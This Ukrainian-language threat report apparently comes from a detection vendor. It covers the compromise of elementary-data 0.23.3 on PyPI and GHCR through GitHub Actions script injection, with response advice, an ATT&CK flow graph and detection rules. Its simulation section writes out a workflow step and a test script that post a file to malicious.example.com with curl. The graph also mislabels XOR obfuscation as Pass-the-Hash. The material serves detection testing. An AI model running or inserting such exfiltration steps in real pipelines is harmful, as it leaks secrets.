Elementary-data скомпрометовано на PyPI та GHCR через підроблений реліз на GitHub
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисна версія elementary-data Python пакет, версія 0.23.3, була завантажена на PyPI, а відповідний скомпрометований контейнерний образ також було завантажено до реєстру GitHub Container. Зловмисник вставив зловмисний код в GitHub Actions workflow, підробив підписаний реліз, і потім використав токен робочого процесу для публікації бекдорних артефактів. Навантаження функціонувало як трьохетапний злодій облікових даних, розроблений для збору секретів і їх відправки на домен під контролем зловмисника. Будь-яке середовище, що встановлювало уражений пакет або витягало останній контейнерний образ, було під загрозою компрометації.
Розслідування
Розслідування показало, що атака почалася з коментаря до відкритого запиту на злиття, який був вставлений безпосередньо в сценарій робочого процесу, що дозволило виконати вприскування сценарію. Використовуючи GITHUB_TOKEN, зловмисник створив підроблений релізний фіксування і запустив процес публікації, який потім розповсюдив троянське колесо та образ Docker. Аналіз показав, що зловмисний .pth файл декодував обгортку Base64, дешифрував кінцевий компонент збору і збирав широкий набір облікових даних, перш ніж відправити їх на спеціальний домен командного управління через curl.
Захист
Розробники проекту видалили зловмисну версію пакету з PyPI та видалили скомпрометований образ з GHCR перед публікацією чистої заміни, версія 0.23.4. StepSecurity додав зловмисну версію пакету та домен під контролем зловмисника до чорного списку Harden-Runner і заблокував пакет під час виконання запитів на витяг. Розробники повинні використовувати фіксовані версії пакетів та дайджести образів, уникати полагання на плаваючі теги та перевіряти встановлені залежності на наявність неочікуваних .pth файлів.
Відповідь
Захисники повинні шукати наявність elementary.pth всередині site-packages і виявляти системи, які витягнули підозрілий дайджест образу Docker. Вихідні з’єднання до відомого домену командного управління повинні бути негайно заблоковані. Команди безпеки повинні сканувати робочі станції розробників та середовища побудови на наявність відкрити секретні матеріали, видалити будь-які скомпрометовані пакети та перевипустити уражені облікові дані. CI/CD конвеєри також повинні бути оновлені для перевірки походження пакету та впровадження суворої прив’язки образів.
graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[“<b>Дія</b> – <b>T1195.002 Компрометація ланцюга постачання</b><br/>Зловмисник публікує шкідливу версію 0.23.3 elementary-data у PyPI та завантажує троянізований Docker-образ у GHCR через легітимний pipeline проєкту.”] class node_supply_chain action node_exploit_cred[“<b>Дія</b> – <b>T1212 Експлуатація для доступу до облікових даних</b><br/>Інʼєкція скрипта в GitHub Actions через підроблений коментар виконує curl | bash стейджер, використовуючи GITHUB_TOKEN для створення фальшивого релізного коміту.”] class node_exploit_cred action node_implant_image[“<b>Дія</b> – <b>T1525 Імплантація внутрішнього образу</b><br/>Шкідливий Docker-образ (latest) завантажується та запускається, створюючи постійне шкідливе середовище.”] class node_implant_image action node_user_exec[“<b>Дія</b> – <b>T1204.003 Виконання користувачем: шкідливий образ</b><br/>Контейнери автоматично виконують payload при запуску.”] class node_user_exec action node_cred_files[“<b>Дія</b> – <b>T1552.001 Незахищені облікові дані: файли</b><br/>Payload збирає SSH-ключі, cloud креденшіали, конфіги Docker і Kubernetes та інші секрети.”] class node_cred_files action node_private_keys[“<b>Дія</b> – <b>T1552.004 Незахищені облікові дані: приватні ключі</b><br/>Збір приватних ключів із .ssh та wallet-директорій.”] class node_private_keys action node_archive[“<b>Дія</b> – <b>T1560 Архівація зібраних даних</b><br/>Дані стискаються в tar-gz архів.”] class node_archive action node_archive_lib[“<b>Дія</b> – <b>T1560.002 Архівація через бібліотеку</b><br/>Використовується tar для створення trin.tar.gz.”] class node_archive_lib action node_obfusc[“<b>Дія</b> – <b>T1027.015 Обфускація: стиснення</b><br/>.pth файл закодований base64 і XOR-MD5.”] class node_obfusc action node_pass_hash[“<b>Дія</b> – <b>T1550.002 Pass-the-Hash</b><br/>Payload використовує XOR-MD5 для маскування.”] class node_pass_hash action node_exfil[“<b>Дія</b> – <b>T1048 Ексфільтрація альтернативним протоколом</b><br/>Дані відправляються через curl POST на C2 домен.”] class node_exfil action %% Tools tool_pypi[“<b>Інструмент</b> – <b>Назва</b>: PyPI<br/><b>Тип</b>: Python репозиторій”] class tool_pypi tool tool_ghcr[“<b>Інструмент</b> – <b>Назва</b>: GHCR<br/><b>Тип</b>: Docker registry”] class tool_ghcr tool tool_github_actions[“<b>Інструмент</b> – <b>Назва</b>: GitHub Actions<br/><b>Тип</b>: CI/CD”] class tool_github_actions tool tool_curl[“<b>Інструмент</b> – <b>Назва</b>: curl<br/><b>Тип</b>: CLI утиліта”] class tool_curl tool tool_bash[“<b>Інструмент</b> – <b>Назва</b>: bash<br/><b>Тип</b>: shell”] class tool_bash tool %% Malware malware_docker_image[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: Docker образ<br/><b>Тег</b>: latest”] class malware_docker_image malware malware_payload[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: .pth payload<br/><b>Обфускація</b>: Base64 + XOR-MD5”] class malware_payload malware %% Connections (unchanged) node_supply_chain –>|publishes to| tool_pypi node_supply_chain –>|pushes image to| tool_ghcr tool_ghcr –>|hosts| malware_docker_image node_exploit_cred –>|injects script into| tool_github_actions tool_github_actions –>|executes| tool_curl tool_curl –>|pipes to| tool_bash tool_bash –>|runs| malware_payload malware_docker_image –>|run by| node_implant_image node_implant_image –>|triggers| node_user_exec node_user_exec –>|executes| malware_payload malware_payload –>|collects| node_cred_files node_cred_files –>|also collects| node_private_keys node_cred_files –>|passed to| node_archive node_archive –>|uses| node_archive_lib node_archive_lib –>|produces| node_obfusc node_obfusc –>|used by| node_pass_hash node_pass_hash –>|exfiltrates via| node_exfil node_exfil –>|uses| tool_curl
Потік атаки
Виявлення
Можливе проникнення/відтік даних/C2 через сторонні служби/інструменти (через проксі)
Перегляд
Можливе проникнення/відтік даних/C2 через сторонні служби/інструменти (через DNS)
Перегляд
Віддалене завантаження файлів через стандартні інструменти (через командний рядок)
Перегляд
Індикатори компрометації (HashSha1) для виявлення: компрометація elementary-data на PyPI та GHCR: підроблений реліз, завантажений через вприскування скрипта GitHub Actions
Перегляд
Виявлення відтоку зловмисних даних через вприскування скрипта у GitHub Actions [Створення процесу в Linux]
Перегляд
Виявлення зловмисного пакету elementary-data з викрадачем облікових даних [Подія файлу Linux]
Перегляд
## Виконання симуляції
Передумова: Перевірка телеметрії та базової лінії повинна була пройти.
Обґрунтування: У цьому розділі детально розглядається точне виконання техніки противника (TTP), призначеної для активації правила виявлення. Команди та наративи безпосередньо відображають визначені TTP і спрямовані на створення саме тієї телеметрії, яка очікується логікою виявлення.
-
Опис атаки та команди:
Зловмисник скомпрометував репозиторій, що використовує GitHub Actions для CI/CD. Вони додають зловмисний крок у файл робочого процесу:- name: Exfiltrate data run: | bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"Коли робочий процес запускається на виконавці GitHub Actions, дерево процесів виглядає так:
sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"(батьківський процес)curl --data-binary @/tmp/secret_data http://malicious.example.com/loot(дочірній процес)
The
auditdзапис для кроку 2 містить командний рядок з обомаbashandcurl --data-binary, задовольняючи умову Sigma. -
Скрипт регресійного тестування:
#!/usr/bin/env bash # # Імітуйте зловмисний крок в GitHub Actions, який має активувати правило виявлення. # Створює тимчасовий файл, записує дані-муляж, а потім ексфільтрує їх за допомогою curl, обернутого в bash. set -euo pipefail # 1. Створити дані-муляж секретних даних tmpfile=$(mktemp /tmp/secret_data.XXXXXX) echo "sensitive_information_$(date +%s)" > "$tmpfile" # 2. Виконати ексфільтрацію за допомогою вразливого шаблону bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot" # 3. Вивести підтвердження для тестувальника echo "Ексфільтрацію зловмисника імітовано; тимчасовий файл $tmpfile повинен бути видалений очищенням." -
Команди очищення:
#!/usr/bin/env bash # Видалити будь-які тимчасові файли, створені під час симуляції rm -f /tmp/secret_data.* # За необхідності зупинити будь-які залишкові процеси curl (не має бути потрібно) pkill -f "curl --data-binary" || true